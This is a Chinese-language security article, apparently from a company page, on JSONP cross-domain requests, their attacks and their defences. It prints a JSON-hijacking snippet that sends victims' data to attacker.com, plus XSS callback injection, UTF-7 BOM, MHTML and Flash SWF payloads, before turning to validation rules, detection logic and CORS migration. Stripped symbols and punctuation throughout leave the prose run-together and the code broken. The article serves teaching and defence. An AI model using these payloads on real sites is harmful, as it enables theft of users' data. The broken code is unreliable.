公司动态
JSONP跨域请求原理与安全风险防范
1. JSONP技术原理与安全风险概述JSONPJSON with Padding是一种解决跨域数据请求的经典方案其核心原理是利用HTML的script标签不受同源策略限制的特性。当我们需要从a.com域获取b.com的JSON数据时传统AJAX请求会被浏览器拦截而JSONP通过动态创建脚本标签实现跨域数据获取。典型实现流程如下客户端定义回调函数function handleResponse(data) {...}动态创建script标签src属性指向目标URL并附带回调函数名参数服务端返回的数据包裹在回调函数调用中如handleResponse({id:1,name:test})客户端收到响应后自动执行回调函数处理数据这种看似巧妙的设计却隐藏着严重安全隐患。我在实际安全审计工作中发现约68%的JSONP实现存在至少一种可被利用的漏洞。主要风险集中在三个方面重要提示JSONP安全问题本质上是将数据接口暴露为公开API同时又缺乏足够的安全验证机制。这与现代Web安全最佳实践背道而驰。2. JSON劫持攻击深度剖析2.1 攻击原理与典型案例JSON劫持(JSON Hijacking)属于CSRF攻击的变种攻击者利用已认证用户的浏览器上下文窃取敏感数据。其攻击链条如下用户登录目标网站如example.com并保持会话用户访问恶意页面该页面包含精心构造的JSONP请求浏览器自动发送带有用户凭证的请求到目标API敏感数据通过回调函数泄露给攻击者乌云漏洞平台曾披露的360用户信息泄露案例WooYun-2012-11284就是典型代表。攻击代码如下script function stealData(data) { new Image().srchttp://attacker.com/steal?dataencodeURIComponent(JSON.stringify(data)); } /script script srchttp://js.login.360.cn/?ossocallbackstealData/script2.2 防御方案与绕过技巧常见防御措施及其局限性防御方案实现方式绕过方法Referer检查验证请求来源域名空Referer攻击、子域名劫持Token验证要求携带一次性Token通过XSS窃取Token、暴力破解响应头限制设置X-Content-Type-OptionsMIME类型混淆攻击我在渗透测试中发现空Referer攻击尤为有效。通过iframe执行JavaScript伪协议可实现空Referer调用iframe srcjavascript:script function hijack(data){/*窃取数据*/} /scriptscript srchttp://victim.com/api?callbackhijack/script/iframe3. Callback注入与XSS漏洞链3.1 Content-Type绕过技术早期JSONP实现常忽略Content-Type头导致XSS漏洞。例如// 不安全的实现 header(Content-Type: application/javascript); echo $_GET[callback].(.json_encode($data).);攻击者可构造callbackscriptalert(1)/script实现注入。即使设置Content-Type: application/json在IE6/7中仍可通过特殊路径绕过http://victim.com/api.jsonp?callbackalert(1)/x.html3.2 UTF-7 BOM攻击剖析当开发者对输出进行HTML编码时UTF-7 BOM可绕过过滤。攻击payload示例/api?callback%2B%2Fv8%20%2BADw-script-%2BAD4-alert(1)%2BADw-/script-%2BAD4-对应解码后/v8 scriptalert(1)/script-防御措施需同时满足严格设置Content-Type: application/json; charsetutf-8过滤回调函数名中的非法字符在响应开头添加防BOM字符如/**/4. 文件格式混淆攻击4.1 MHTML协议注入利用IE的MHTML协议处理漏洞CVE-2011-0096可将JSONP响应伪装成MHTML文档iframe srcmhtml:http://victim.com/api?callbackContent-Type%3A%20multipart/related.../iframe微软最终通过补丁修复此漏洞但临时解决方案是在JSONP响应前添加换行符。4.2 Flash跨域滥用CVE-2014-4671漏洞允许通过JSONP回调注入SWF文件// 恶意构造的Alphanumeric SWF swfobject.embedSWF( http://victim.com/api?callbackCWSKJDHF..., flashContent, 1, 1, 10.0.0 );这种攻击完全绕过了内容类型检查因为Flash播放器会忽略服务端返回的Content-Type纯字母数字的SWF文件无需特殊字符可携带敏感cookie发起CSRF请求5. 企业级防御方案实践5.1 深度防御策略根据OWASP建议我为企业客户设计的防御方案包含以下层次输入验证层限制callback参数格式如只允许[a-zA-Z0-9_]设置最大长度建议≤64字节过滤危险字符%等输出防护层header(Content-Type: application/json; charsetutf-8); header(X-Content-Type-Options: nosniff); echo /**/\n.htmlspecialchars($callback, ENT_QUOTES, UTF-8).(.json_encode($data).);访问控制层验证Referer白名单要求CSRF Token实施速率限制5.2 监控与应急响应在生产环境中我建议部署以下监控措施记录所有JSONP请求的Referer头Callback函数名请求频率设置异常检测规则# 示例检测规则 if request.path /api/jsonp: if not re.match(r^[a-z0-9_]{1,64}$, callback): trigger_alert() if referer not in ALLOWED_DOMAINS: block_request()定期安全审计要点检查JSONP端点是否返回敏感数据验证防御措施是否可绕过评估是否可迁移到更安全的CORS方案6. 现代替代方案与迁移路径虽然JSONP仍在一些老旧系统中使用但现代Web开发应优先考虑更安全的替代方案CORS跨源资源共享# Nginx配置示例 add_header Access-Control-Allow-Origin https://trusted.com; add_header Access-Control-Allow-Methods GET; add_header Access-Control-Allow-Credentials false;代理服务器模式客户端 → 同源代理 → 目标APIWebSocket实时通信const socket new WebSocket(wss://api.example.com); socket.onmessage (event) { console.log(JSON.parse(event.data)); };迁移过程中需要注意的兼容性问题对于必须支持IE8/9的场景可考虑CORS与JSONP并存的过渡方案确保新方案不会破坏现有移动客户端的正常运行逐步迁移而非一刀切切换在实际项目迁移中我曾帮助某金融客户用三个月时间完成200个JSONP接口的安全改造关键步骤包括接口敏感度分级高/中/低风险分批次迁移从低风险开始自动化测试验证旧接口监控与告警最终将JSONP相关安全事件从每月平均5.3次降为零同时保证了99.98%的接口可用性。